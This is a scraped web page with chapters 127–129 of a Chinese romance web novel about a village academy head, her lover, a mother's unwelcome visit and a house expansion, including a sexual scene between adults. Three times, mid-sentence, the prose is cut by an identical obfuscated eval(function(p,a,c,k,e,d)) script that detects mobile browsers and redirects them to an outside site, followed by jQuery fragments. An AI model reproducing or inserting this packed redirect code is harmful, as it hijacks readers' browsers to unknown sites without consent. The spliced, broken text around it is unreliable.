戴庭芳跟着她进了院子,“霍静说没尝过他做的饺子,他就说要给霍静和邵老师露一手。” “他现在的厨艺是越来越好了,都要主动露一手了。”姜佑安笑着说道。 “他平时做木工,还抽空给我们做饭,真是辛苦他了。”戴庭芳说道。 “他给你们做饭,袁竹是给他开工钱的,你过去吃饭,千万不要觉得不好意思。”姜佑安进了堂屋,跟屋里的人打着招呼,戴庭芳跟着她在一旁坐了。 她们在聊着戏台上的内容,戴庭芳想要问问黎泱泱跟姜佑安说了什么,他来这里的目的是什么,却找不到开口的时机。 吃过了午饭,孩子们都冲出门去,往戏台那边跑,徐洪愿和姜白凤扶着徐燕出门了,其他人也都陆陆续续离开了家门,钟二娘说下午不想看戏了,要留下看家,袁竹便没锁门,跟守在门口的辛开元一起走了。 姜佑安没有出门,自己去了园子里散步,戴庭芳见了,也跟着进了园子。 “姜院长,你不去看戏吗?”戴庭芳问道。 姜佑安回头,见是戴庭芳跟在身后,便笑了笑,回道:“不看了。” 戴庭芳走到她的身边,“怎么了?你心情不好吗?” “还好吧。”姜佑安给出一个模棱两可的回答,缓步向前走去。 “是黎公子跟你说了什么吗?”戴庭芳有些忐忑地问道。 姜佑安点了点头,“嗯,说了。” “说了什么?”戴庭芳问道。 “他说知州王世镜要升官了,很快就要离开定州了。”姜佑安说道。 戴庭芳暗暗松了一口气,“这并不是好事吗?他走了,就没有人知道你原先的身份了,我们都不用担心他的突然到来了。” “是啊,是好事。”姜佑安勉强地笑了笑,可眼睛里并没有笑意。 看她神色异样,戴庭芳心中又生疑惑,“还有什么别的事吗?” “黎公子说,王世镜到别的地方去任职,会把他也带走,他希望我能跟他同去。”姜佑安说道。 “什么?他又要你跟他走?”戴庭芳冲到了姜佑安的面前,“你答应他了?” 姜佑安趁机一把抱住了戴庭芳,头倚在他的肩上,凑在他耳边问道:“你很在意这个?” 戴庭芳慌忙环视四周,好在园子里并没有其他人,他任由姜佑安抱着,没有反抗,“我想知道你的答复。” “你放心,我并不想离开这里。”姜佑安说道。 “那你干吗表现得这么忧虑?你舍不得他走?”戴庭芳问道。 “是啊,我是舍不得,本来他到定州去,我们见面的机会就好了,他要是跟着王世镜走了,以后也不知道还能不能再见到他。”姜佑安说道。 戴庭芳推开了姜佑安,“你要是这么喜欢他,怎么不答应他,跟他一起走?” 姜佑安笑了笑,“那自然是因为没有那么喜欢,只是见不到他,觉得有些遗憾罢了。” 戴庭芳皱起了眉头,有些生气地看着姜佑安,“你要是嫁给他,不就没有遗憾了?” “嫁给他,就不能嫁给你了,也还是会觉得遗憾。”姜佑安说道。 戴庭芳的眉头舒展开,眼睛闪着欣喜的光,“你愿意嫁给我了?” “原来戴老师这么想娶我?”姜佑安走过去,伸手揽住他的后腰,“那怎么连让我亲一下都不肯?” 戴庭芳的脸一下子红了,“我说了,成亲之后,都随你,是你不肯。” “你说的,两个人相处更重要。”姜佑安紧盯着他的眼睛,“戴老师喜欢我,不是吗?为什么还要以成亲为条件?” 戴庭芳紧张地咽了一下口水,“我,我是想要对你负责。” 姜佑安放开了戴庭芳,向后退了一步,“我不需要你负责,我自己就能对自己负责。” 戴庭芳解释道:“可是,为了你的名声考虑,就算你以后有了别的男人,也应该先成亲……” 姜佑安不想再听这些,转身向外走去,“你不愿意就算了,我一向不喜欢强迫别人,我去找黎泱泱吧,反正他都要走了,我就说想要他的一个吻,我不信他不肯。” 戴庭芳赶忙追过去,“你别去找他!” “你管我要做什么!你别来为难我,我也不去为难你,你不想做的事,我找别人就是了。”姜佑安绕开他,大步向外走。 戴庭芳跑过去,从背后把姜佑安抱在怀里,“不要去!姜佑安,你不要去找别人,我什么都答应你。” 姜佑安勾唇轻笑,在他怀里转过身来,“你说的,可不许反悔。” “不反悔。”戴庭芳紧紧把她搂在怀里,“你也不许反悔,不许去找黎泱泱。” 姜佑安抱着他,轻抚着他的后背,笑着说道:“你放心,我要是去找他,肯定先告诉你。” 戴庭芳松了松手,低头看着姜佑安,委屈地问道:“你还想收他做侧室?” 姜佑安捧着他的脸,吻了过去,这些日子积攒的渴望喷薄而出,两人忘情地搂在一起,久久拥吻。 良久,姜佑安放开了戴庭芳,凑在他耳边轻声问道:“要不要去我房里?” 戴庭芳红着脸点了点头,姜佑安开心地牵着他,回到了耳房里,闩上了房门。 房间里很安静,院子里也听不到一点儿声音,姜佑安把戴庭芳引到了床边,伸手去解他的衣服。 戴庭芳不明白亲吻为什么要解衣裳,他摁住了姜佑安的手,“你这是做什么?” 姜佑安笑了,“你以为我叫你来是要做什么?” 戴庭芳看着她的笑脸,心脏怦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711481|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怦直跳,“你不是说,想要亲一下吗?” “只是亲一下,我可不会满足。”姜佑安说道。 戴庭芳感觉脸上像烧起来一样滚烫,他微微低下头,“那你要做什么?” 姜佑安拉着他在床边坐下,笑着问道:“戴老师,这里只有我们两个人,你就没有什么想做的?” 戴庭芳想了一想,在这个房间,确实只有他和姜佑安,无论做什么,都不会有别人看见,他鼓起勇气,抬起头,“我想再亲你一下。” 姜佑安凑过去,“想亲哪儿?额头,脸,还是嘴巴?” 戴庭芳倾身,在她唇上轻轻啄了一下,然后迅速移开。 姜佑安抚摸着自己的嘴唇,轻声笑了,“戴老师还真是纯情,我说屋里只有我们两人,你都不敢做些别的。” “别的?”戴庭芳舔了舔嘴唇,抬眼看向姜佑安,眼神中有些困惑,还有些期待,“你说的是什么?” 姜佑安把戴庭芳摁倒在床上,俯身吻了过去,戴庭芳感觉自己的衣服被解开,皮肤暴露在冷气中,他阵阵发抖。 姜佑安放开了他的嘴唇,抚摸着他的身体,“冷吗?” 她微凉的双手放在戴庭芳温热的皮肤上,反倒让戴庭芳觉得一阵燥热。 “不冷。”戴庭芳颤抖着说道。 “逞什么强啊。”姜佑安笑着,扯过被子,把两人都包裹了进去。 戴庭芳僵硬地躺在床上,不知所措地看着姜佑安,“你要睡个午觉吗?” “不。”姜佑安俯身吻了吻戴庭芳的嘴角,“我要睡你。” 戴庭芳不能理解,“你要睡在我身上?” “也可以这么说。”姜佑安趴在他身上,拥着他身子,抚摸着他滑腻的肌肤。 戴庭芳感觉浑身发热,完全没有睡意,“你这样,我没法睡。” “没关系,等你累了,就能睡着了。”姜佑安说道。 “就这样躺着,怎么会累?”戴庭芳往旁边挪了挪,“要不你自己睡吧,我先出去了。” 姜佑安紧紧揽着他的腰,让他无处可退,“我们都这样了,你还想逃?” 戴庭芳看到她裸露的肩膀,扭过头去,“你睡午觉还要脱衣服?这样睡,会着凉吧。” “没关系。”姜佑安紧紧搂着他,亲吻着他的脖子,褪去了他身上仅剩的衣料,“很快就会热起来的,我向你保证。” 光溜溜地躺在姜佑安身边,戴庭芳害羞得耳朵都红了,他伸手去拿衣服,“我,我还是把里衣穿上吧。” 姜佑安抓着他的手,塞进了被子里,“穿衣服不方便,就这样吧,” “我平时睡觉都穿着里衣,没有什么不方便的。”戴庭芳挣不开姜佑安的手,紧张地舔了舔嘴唇,轻声请求道:“姜院长,你还是让我穿上睡吧。” “不行,不能穿,戴老师,你得听我的。”姜佑安搂着他,从脖子吻到了他的胸口,“戴老师要是觉得冷了,就抱紧我,我身上暖和。” 戴庭芳把手轻轻搭在姜佑安的肩上,两个人身体相贴,他确实能感觉到,姜佑安身上很热,果然是习武之人,跟自己很不一样。 “戴老师,我准备好了,你呢?”姜佑安抬头问道。 看着姜佑安绯红的脸颊,戴庭芳有些慌张地眨了眨眼,“准备什么?” 127. 母亲 姜佑安笑了笑,爱怜地吻着戴庭芳的嘴唇,含糊不清地问道:“让我睡你,可以吗?” “你要睡了?”戴庭芳还是不太明白,“那就睡吧,我还不困,我看着你睡。” 姜佑安感觉心中的爱意,像是炸裂开来一样,弥漫在整个房间里,他是这么地害羞又一本正经,真是可爱极了,让她想要狠狠地爱他。 姜佑安翻身把戴庭芳压在身下,捧着他的脸,迷乱地亲吻、吸吮着他的唇舌。 戴庭芳不知道姜佑安为什么又不睡了,只尽力回应着她,亲吻着她。 姜佑安的双手逐渐向下,缩进了被子里,戴庭芳的喘息声变得急促起来,他的身体让他困惑,不知道是想要推开她,还是想要进一步地亲近她。 姜佑安放开了他的嘴唇,整个人都缩进了被子里,戴庭芳喘息地问道:“你,不,不睡了吗?” “睡,现在就睡。”姜佑安的声音从被子里传来,闷闷的,却有着掩饰不住的兴奋。 姜佑安在被子里折腾着,戴庭芳捂着嘴,压抑着自己的声音,“你不是,嗯,不是说,要睡,嗯,要睡了吗?” “我这不是,嗯,正在睡吗?”姜佑安在被子里答道。 这就是睡?戴庭芳还是不太明白,他任由姜佑安摆弄着他的身体,感受到两个人的亲密无间,他面红耳赤,抓着被子喘息阵阵。 忙活了一阵之后,姜佑安从被子里探出头来,“呼!”地长叹了一口气,戴庭芳则紧紧搂住了她,身子一阵颤抖。 “戴老师,感觉怎么样?”姜佑安喘息着问道。 戴庭芳红着脸,额头上渗出了一层细汗,面对姜佑安的提问,他坦诚地答道:“感觉,很舒服。” 姜佑安笑了,“舒服吧,我早就想这么做的,就是怕你不肯。” 要不是姜佑安用黎泱泱刺激他,戴庭芳绝不会答应跟她做这种事,现在回想,这样的行为真的太出格了,刚刚两人做的,应该就是夫妻之间的男女之事吧。 戴庭芳抱着姜佑安,心里隐隐有些后悔,后悔自己没能守住底线,“姜院长,我们都睡在一起了,你还不能嫁给我吗?” “谁说睡在一起就要成亲了?我喜欢你,你也喜欢我,只要我们高兴,我们觉得舒服就好了,其他的都无所谓。”姜佑安说道。 戴庭芳轻叹一声,“我要是能向你这么豁达就好了。” “为什么不能呢?只要放下对名声、名节的执念,自在地做自己不就好了,随心所欲,又不是坏事。”姜佑安说道。 “随心所欲……”戴庭芳轻声念叨着,“这四个字说来容易,要做到真是太难了。” “很难吗?”姜佑安抬手抚摸戴庭芳的脸,“那你跟我说说,你想要什么。” “我想要和你成亲。”戴庭芳说道。 “成亲是为了什么?”姜佑安问道。 “为了能名正言顺的和你在一起。”戴庭芳答道。 “名正不正,言顺不顺,都是别人规定的,你为什么要让自己顺应别人的要求?”姜佑安问道。 “可是,别人都是这样的,我们如果不是这样,就会招人非议。”戴庭芳说道。 姜佑安总结道:“也就是说,你想和我在一起,但只是生活在一起,不成亲的话,又怕别人议论。” “对。”戴庭芳点了点头,“就是这个意思。” “别人议论,是个很严重的事吗?”姜佑安问道。 “众口朔黄金,让人议论,总归是不好的。”戴庭芳说道。 “嘴长在别人身上,他愿意议论,我也没办法,我一向不在意这些,不过,既然你很在意……”姜佑安想了想,笑着说道:“不如我们先住在一起试试,看看会不会有人议论,顺便看看,如果有人议论,我们要怎么应对。” 戴庭芳不是很认同,“可以这样吗?一旦毁了名节,可就不能挽回了。” 姜佑安用手指轻轻描着戴庭芳的眉毛,眼睛里带着笑意,温柔地看着他,“如果名节指的是睡男人,那我的名节早就毁了,可我觉得,名节应该指的是一个人的品行和操守,你和我在一起,并不会毁了谁的名节。” 戴庭芳眉头轻皱,“男人可以这么说,但是女人,还是……” 姜佑安捂上了他的嘴,“男人女人都是人,都有七情六欲,都有想爱的人、想做的事,没有什么不同,你要是为我担心,就省省吧,你要是为自己担心,就再考虑考虑。” 戴庭芳看着姜佑安,没有说话。 姜佑安松开手,搂着他的身子,往他身上凑了凑,笑着问道:“戴老师,我看你还不累,能不能再睡一次?” 戴庭芳红着脸,害羞地点了点头。 耳房里,情真意浓,村头的戏台上,唱腔高亢激昂,打斗精彩纷呈,傍晚时分,各处的人才都兴尽而归。 初二村头戏台旁依然热闹,很多别的村子的人原来看热闹,有来走亲戚的,也有去别的村走亲戚拜年去的。 阮荷包了自己做了的点心回了一趟阮家,姜佑安和杨恩去了陈大用那里拜年,袁竹去了张慈那里坐坐,钟二娘去了郭英家拜年,戴庭芳也回了一趟家,傍晚又和姜佑安、杨恩一起回了袁家。 戴庭芳又跟父母提了要跟姜佑安成亲的事,戴克政还是不肯松口,谁也劝不动,戴克政让他回家来,戴庭芳也不肯听,两人互不退让,父子俩的关系又陷入了僵局。 村口的大戏一直唱到初五,戏班子临走时,大家还意犹未尽,说着等过年了,还请他们过来唱,戏班子的人也都高兴地应承着。 初六这天黄昏时分,孩子们学着在戏台下看到的、听到的,拿着木剑在院子里假装唱戏闹着玩,钟二娘过来喊她们回后院吃饭,阮荷去关大门,刚把门闩插上,就听见有人拍门。 “开开门!我是来找袁竹的。”门外传来一个妇人的声音。 阮荷打开了门,“你是谁?找袁姐姐做什么?” 项三娘冲阮荷笑了笑,“我是袁竹的娘,今天走了一天的路过来,是想来看她过得好不好。” 阮荷瞬间想起了袁竹的爹娘把她嫁给一个病秧子的事,她板起脸来,“她好得很,你还有别的事吗?” “也没什么别的事,她是住在这里吧?我就是想见见她,跟她说说话。”项三娘说道。 “她没在,你有什么话,我可以帮你传达。”阮荷说道。 “我不用你帮我传话,我自己跟她说就行。”项三娘撑着门板往里挤,想要闯进去,“我知道,这个宅子是袁竹的,她是我女儿,你们都是我女儿的下人,你不让我进去,等我见了我女儿,看你怎么跟她交代。” 姜佑安从二门里走出来,“小阮,吃饭了,你在忙什么呢?怎么还不过来?” “没事,我这就来。”阮荷推着项三娘,想把门关上。 项三娘见状大喊起来,“袁竹!你娘来了!你也不来看一眼,你家的下人欺负到你娘头上了!” 院子里人们正在准备吃饭,安静得很,突然听到有人在门口大叫,纷纷起身去看是怎么回事。 袁竹走到影壁前时,见姜佑安已经把门闩上了,门口有人在大骂:“你们敢欺负我!我可是袁竹她娘!你们这些小兔崽子,你们等着!等袁竹来了,我就让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725797|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她教训你们!” 袁竹明白了现在是什么情形,当初送姐姐走的时候,她忘了告诉姐姐,不要把她的行踪告诉爹娘,姐姐过年回娘家,肯定什么都跟爹娘说了。 “没事了,都回去吃饭吧。”袁竹让大家都回去,她去打开了大门,姜佑安和阮荷想要拦着她,被她推开了。 项三娘一见开门的是袁竹,马上喜笑颜开地迎了过去,“袁竹,你在呢!这几年你在外面,怎么都不给家里来个信儿,让我们多担心。” “你们还会担心我?担心我什么?”袁竹面无表情地问道。 “你这孩子,见了我,连一声娘不叫了,别人听了,还以为咱们是仇人呢。”项三娘笑着埋怨道。 “从你们把我卖给那个病秧子的那天,我就是没有爹娘的孩子了。”袁竹说道。 项三娘收起了笑脸,脸上有些生气,又有些痛苦,“你怎么能这么说呢?你是我身上掉下来的一块肉,是我和你爹辛辛苦苦养大的,我们又不是故意要把你说给一个病秧子,都是你婆家人骗了你爹,你爹还以为只是着风受了凉,谁知道他病得都起不来床。” “嫁人之前,你说不知道就算了,嫁人之后,我说不愿意伺候他一家,你是怎么说的?”袁竹质问道。 “那都是你爹,你爹说嫁出去的闺女,哪有往回接的,我知道你受苦了,可我也没有办法。”项三娘说着,低下头擦拭着眼泪。 看着项三娘哭泣的样子,袁竹心有不忍,语气软了下来,“以前你没有办法,爹也不愿意管我,现在又来干什么?” 项三娘抬起头来,含着泪说道:“我是听你姐说你在这里,好几年没有你的消息,我就是想来看看,看看你过得好不好。” “人你也看见了,我过得好得很,你回吧。”袁竹说着就要关门。 项三娘忙抬腿,插了一只脚进门里,半是请求半是威胁地说道:“以前的事,都是我们的错,我今天挨饿受冻,走了一天的路来看你,你不让我进去,这大冷天的,是想让你娘睡在外面,冻死在你门口吗?” 袁竹一想,这个时候,她也确实无处可去,于是打开了大门,让她进来,“我只收留你睡一晚,你明天一早就走。” 项三娘闪身进了门,脸上带着讨好的笑,“好,明天我就走。” 阮荷闩上了大门,“袁姐姐,家里没有空床铺了,安排她住哪里好?像你姐姐那样,跟你一起睡吗?” 项三娘觉得阮荷说的是假话,“你这小姑娘就别骗我了,你们这儿这么大的房子,还能没有地方住?” 袁竹有些心烦,她不想跟她娘一起睡,边向里走边说道:“等会儿看看哪个大床还能挤一挤,给她腾出个睡的地方就行了。” “你这大门大户的,怎么还要挤着睡,跟不认识的人睡在一起,我可睡不着,袁竹,我要跟你睡。”项三娘有些不满,觉得她们是在针对她,故意不给她单独的房间住。 袁竹在前面走着,快步跨进了二门,“我自己睡习惯了,你要是不愿意跟人挤,现在就出去。” “行,那我就出去,你明天就等着给我收尸吧!”项三娘说着就要往外走。 姜佑安见状,一把拉住了项三娘,“袁竹,让她睡我那个房间吧。” 袁竹回头看着她,“那你睡哪儿?” “佑安姐姐就跟我睡吧。”阮荷提议道。 “不了,我去学堂那边睡。”姜佑安说道。 “你要去找霍静?等会儿天黑了,去那边不方便,你就跟小阮睡吧。”袁竹说道。 “不是霍静。”姜佑安笑了笑,“我要去找戴老师。” 128. 扩建 阮荷听了,很是惊讶,“你要去找表哥?他不会同意让你留下吧。” “不让我留下,我就去找霍静或者邵老师,再不行,我就去找李初五,反正是能找到睡的地方,你就不用操心了。”姜佑安微笑着说道。 袁竹没心情管这些,只催促道:“那你快吃饭去,趁天还没黑,赶紧过去,等会儿路不好走。” “嗯。”姜佑安应了一声,就进了堂屋。 袁竹看向项三娘,“你吃饭了吗?” 项三娘咽了一下口水,眼睛不住地往屋里看:“我就带了两个饼子,路上都吃完了,你这要是有多的饭,就给我吃两口呗。” 阮荷见状,去给她拿了碗筷,让她上桌吃。 项三娘高兴地接了过去,“你这姑娘,不是挺懂事的吗?刚才干吗不让我进来!” 阮荷没理她,自己吃饭去了,她心里明白,袁竹的娘是过来要钱的,就跟自己前几天回家一样,爹娘只盼着她能拿钱回去,其他的,他们都不关心。 袁竹一副心事重重的样子,项三娘坐在一旁,捧着碗狼吞虎咽。 姜佑安匆匆吃完饭,起身往外走,说自己要出去,让她们别忘了关大门,石倩马上起身,送姜佑安出去,关上了门。 吃完饭,袁竹把项三娘带去了耳房,给她打了水,点上灯,让她早点儿睡。 “袁竹,你等等。”项三娘从怀里掏出一个布包,打开来,里面放着一双崭新的布鞋,“这是娘给你做的,一直等不到你回家来,没能给你,你试试,看看合不合脚。” 袁竹接过那双鞋,看见上面的绣花,还和娘以前给她做的鞋是一样的花样,姐姐过年后才回的娘家,娘过年忙,没时间做鞋,这鞋应该是在她离家后,娘特意给她做的。 袁竹的鼻子酸酸的,却还是不想在项三娘的面前落泪。 “谢谢。”她简短地到了声谢,转身就要走。 “儿啊,是娘对不住你。”项三娘的声音有些哽咽。 袁竹没有回头:“娘,我知道这些年你很辛苦,你要是想跟爹和离,我可以帮你。” 项三娘听了,顿时生起气来,“你这孩子,说什么呢!你怎么就不盼我点儿好!” 袁竹转过身来,眼里闪着泪光,“我就希望你好,才想让你跟他和离,我现在自己做生意,你要是离开他,可以住在我这里,我能养活你,你跟着我,起码不用挨打!” 项三娘有些迟疑,“你爹现在,不怎么打人了,再说了,我有儿子,跟着女儿住算什么。” “你就当我什么都没说,早点儿睡吧。”袁竹在心里暗暗叹气,转身走了出去。 “好,你也早点儿睡。”项三娘喃喃地回道。 第二天吃过早饭,袁竹装了几个馒头,就带着项三娘离开了袁家,在县里给她雇了辆马车,送她回家去,项三娘舍不得走,哭哭啼啼地要她一起回去看看,说家里人都很想她。 袁竹没有听信她的话,把馒头塞给她,又给了她二两银子,就让她回去了。 项三娘收下银子,也不哭了,也不闹了,冲袁竹挥挥手就高兴地回家去了。 袁竹知道项三娘是为了钱才来的,送走了她,虽然有些难过,却也觉得身上轻松了不少,养育她的辛苦,她也算是偿还些了。 袁竹回家后,姜佑安跟她说自己不搬回来,每天早上过来吃饭,在袁家待上一天,晚上再去戴庭芳屋里睡,大家开玩笑说他们两人做了夫妻,姜佑安也没否认,大家笑着恭喜她,问什么时候喝喜酒,姜佑安只笑了笑,没有回答。 欢欢喜喜的年过完了,村子里一下子安静了下来,终日听到的都是鸡鸣狗吠之声,让人困倦,不过,好在春天已经来了,柳树抽条,青草发芽,大地苏醒,也把住在这片土地上的人都唤醒了。 花田里的花都还没什么动静,却有一批批人来到了袁家,要来买玫瑰花苗,仔细一问,才知道是因为玫瑰花茶。 去年冬天,玫瑰花茶在县里开卖,很受爱花人的亲睐,泡上一杯弥漫着玫瑰花香的茶,仿佛在萧条的冬日里,置身于玫瑰园中,清香扑鼻,让人心醉。 只可惜产量太少,没过多久,茶铺里的玫瑰花茶就卖完了,打听到是袁家的玫瑰园里产的玫瑰,便有不少人想要买了花苗,自己种,等到花开,自己制茶,别有一番风味。 也有人喜欢玫瑰花香,听说袁家种了不少,也想在自己家种一些,等到百花齐放的时候,用来装点庭院,赏花闻香。 袁竹听了,便带他们去玫瑰园里挑选,看中哪棵就挖哪棵,也有人顺便买点别的花木,袁竹也带着他们在花田里转悠,给他们介绍各种花木的特点。 才开春,还没有什么花开,袁竹就忙得不可开交,辛开元也跟着忙前忙后,见他踏实肯干,袁竹另外给他开了工钱,带他一起去定州采买花苗。 辛开元收了钱,转头就在定州买了一根簪子送给袁竹,袁竹不肯收,他就戴在了自己的头上。 袁竹从定州回来之后,陆续有花苗树苗送来,整个袁家都忙了起来,挖坑的、种植的、浇水的,你给我帮个忙,我给你搭把手,忙得不亦乐乎。 花田里的花苗补上之后,袁竹又带着人把学堂东边的一块荒地给修整了出来,等天气暖和些了,拔去长出的野草,种上了去年收的菊花种子。 忙活完之后,学堂也开学了,袁竹又去找姜佑安商量,说家里人太多,宅子里快要住不下了,她想要靠着西边的院墙,把宅子扩建一下。 姜佑安觉得可行,就和袁竹一起去找了龙世蓉,龙世蓉二话没说就同意了,还让袁竹今年多做些玫瑰花茶,她要全都收购了,运到外地卖,见今年的玫瑰花茶已经有了销路,袁竹高兴地同意了。 袁竹和姜佑安回去继续商量盖房子的事,龙世蓉又派了一个叫孟广的人来,说他在龙家就是主持宅院修建的,不管是盖房子还是造园子,有问题都可以问他。 有了孟广帮忙,房屋的样式、大小还有材料很快就敲定了,买好了材料,杨恩去村里找了人,放了鞭炮,就热热闹闹地开工了。 学堂开学了,村里还没有到农忙的季节,又有人过来围观学生们操练,姜佑安觉得很烦,让袁竹多买些砖,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740116|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学堂前面建上一堵墙,把村民拦在外面,袁竹觉得挺有必要,就同意了,还让人砍了竹子,在玫瑰田外面打了篱笆。 天暖和了,花也开了,袁竹更加忙碌了,这天袁竹和辛开元、徐洪愿卖完花回到袁家,正遇上县衙来人,要找姜佑安,钟二娘说姜佑安不在这边,让去戴庭芳那边找去,袁竹便让辛开元回去,顺便把姜佑安叫过来。 辛开元来到戴庭芳门前时,见门关着,他也没多想,就推开了大门,“戴老师,姜院长在这里吗?” 房内两人正抱在一起亲吻,见辛开元闯进来,戴庭芳赶忙放开了姜佑安,神情尴尬地问道:“你怎么不敲门啊?” 辛开元一时也有些尴尬,“抱歉,我着急过来找人,忘了敲了。” 姜佑安毫不介意,她笑着问道:“辛老师,找我有什么事?” “哦,是县衙来人了,说是有事要告诉你,袁娘子让我叫你过去。”辛开元说道。 “县衙的人?行,我这就过去。”姜佑安迈步向外走去。 辛开元跟着姜佑安向外走,犹豫了一下,拉住了姜佑安的胳膊,“姜院长,你和戴老师是什么关系?” 姜佑安回过头来,想了想,“互相爱慕的关系?” 辛开元松开手,向戴庭芳问道:“戴老师跟我说过,你跟袁娘子是两情相悦,怎么这么快就跟姜院长互相爱慕了?” 姜佑安闻言笑了起来,戴庭芳有些窘迫地解释道:“这是一个误会。” 李长风小跑过来,在门口停下,向房内喊道:“戴老师,杨大哥说饭做好了,可以去吃了。” “哦,好,我马上去。”戴庭芳应道。 “先别吃饭。”辛开元伸手制止道:“咱们得先把事给捋明白了。” 李长风走到了姜佑安身边,“姜姐姐,出什么事了吗?” 姜佑安笑了笑,“没什么事,戴老师一会儿再去吃饭。” 李长风听了,也没走,站在一旁看着。 “去年冬天,你说你喜欢袁娘子,表现得那么深情,那么痛苦,转眼就跟姜院长抱在了一起,你还说跟袁娘子求亲,被拒绝了,你这样朝秦暮楚的人,就该被拒绝。”辛开元说道。 李长风很震惊,“什么?戴老师喜欢袁姐姐?还求亲了?” 辛开元生气地附和道:“对啊,戴老师,你到底是怎么想的!为什么心里有袁娘子,还要来招惹姜院长?” “我没有跟袁娘子求亲,之前都是误会。”戴庭芳说道。 辛开元一听,更生气了,“你都是骗我的?为什么要拿袁娘子的事骗我?你到底有什么目的?” 戴庭芳急得脸都红了,他向着辛开元走了两步,“我没有骗你,你当时问姜院长是不是在那边宅子里住,紧接着又说要过去求亲,我就以为你是要跟姜院长求亲,才说了那番话。” 辛开元眨了眨眼睛,消化着戴庭芳的话,“你是说,和你两情相悦的是姜院长,你求亲的人是姜院长,拒绝你的也是姜院长?” “对,我喜欢的是姜院长,从始至终都没变过。”戴庭芳说道。 129. 误会 姜佑安哈哈一笑,“我想听戴老师说一句喜欢,难于登天,真是多谢辛老师了。” 戴庭芳听了,脸上更加红了。 辛开元尴尬地笑了笑,“原来是这样,戴老师,你怎么不早说?” “我以为你慢慢就知道了,不用我特意去解释。”戴庭芳说道。 李长风也听明白了前因后果,笑着问道:“辛老师,姜院长都搬过来和戴老师一起住了,你怎么今天才想起来问这个?” “什么?你们搬到一起住了?”辛开元惊讶得合不拢嘴,“怎么会?怎么能这样?” “怎么不能?我们两情相悦,住在一起怎么了?”姜佑安问道。 “可是你们,还没有成亲。”辛开元说道。 “没成亲就没成亲呗,没成亲我也要和戴老师在一起。”姜佑安坦然说道。 “对啊,姜院长想跟谁一起住,就可以跟谁一起住。”李长风附和道。 辛开元想起去年因为求亲被拒而苦恼的戴庭芳,想起他说那个女人想要正房和侧室,原来那个离经叛道的女人就是姜佑安,怪不得她能做出这种事。 “我天天在袁家那边吃饭,你跟戴老师来往也少,没发现也是正常的,袁竹也是的,这事她也知道,怎么都不跟你说一声。”姜佑安说道。 辛开元释然地笑了,“姜院长,你的大胆,真是让我佩服。” “你胆子也不小,为了袁竹,肯当上门女婿。”姜佑安笑着说道。 戴庭芳见两人竟有些相互欣赏的意思,忙提醒道:“姜院长,县衙来的人还在等着你呢。” “哦,对,我都给忘了,戴老师,我下午再过来找你。”姜佑安说着走出门去。 “县衙来人了?有什么事吗?”李长风向姜佑安问道。 “不知道,等我去了再说。”姜佑安说道。 “那我也一起去。”李长风跟着走了出去。 辛开元收回了目光,看向戴庭芳,眼睛里满满的都是羡慕,“姜院长能搬来跟你一起住,真好。” 戴庭芳忍不住笑了笑,而后又收起了笑意,“没有明媒正娶,我心里始终是有些过意不去。” “什么嫁娶、入赘的,我都无所谓,只要袁娘子肯跟我在一起,我就满足了。”辛开元说道。 “袁娘子嫁过人,可能是在婚姻里受到了很大的伤害,你好好跟她谈谈,要是能解开她的心结就好了。”戴庭芳说道。 辛开元的神情有些为难,“可她都不肯跟我聊以前的事,只在她姐姐来的那次,跟我说了一点儿。” “她不愿意提起,那也没有办法,不提从前了,往后看吧。”戴庭芳说道。 “嗯,也只能如此了,杨恩那边饭做好了,走,吃饭去吧。”辛开元说道。 两人到了杨恩屋里,霍静和邵苏木都在桌边等着了。 杨恩端着两碗饭从厨房里走出来,“怎么才来?长风呢?” “他跟着姜院长去袁家了。”辛开元说道 “行,不管他了,我们吃吧。”杨恩走到桌边,把碗放在了桌上。 送走了县衙来传信的人,姜佑安带着李长风进了堂屋,跟大家一起吃饭。 “曾捕快说是知县让他来的,知县找你有什么事?”袁竹问道。 “知县要升迁,过一阵子就要离开泰安县了,他怕下任知县找我们的麻烦,特意让曾景阳把学堂那边几所房子的房契拿来给我。”姜佑安说道。 “原来是这事,我问他,他还不肯说,早知道就留他在这里吃个饭再走了。”袁竹说道。 “他说还有事,就不吃饭了。”姜佑安说道。 “都要走了,还能想书院的事,这个知县还真不错。”阮荷说道。 袁竹点了点头,“对啊,之前在庆丰镇的时候,也是多亏有他在,要不然,真不知道会怎么样。” “虽然他不大愿意给书院拨银子,但有那几所房子也是帮了大忙,等他走得时候,我们去送送他吧。”姜佑安提议道。 “行。”“好。”大家纷纷附和道。 中午吃过饭,李长风便回去了,姜佑安去了戴庭芳那里,学生们也都去了学堂,其他人闲来无事,便都搬了板凳椅子,坐在院子里晒太阳,顺便做些活计。 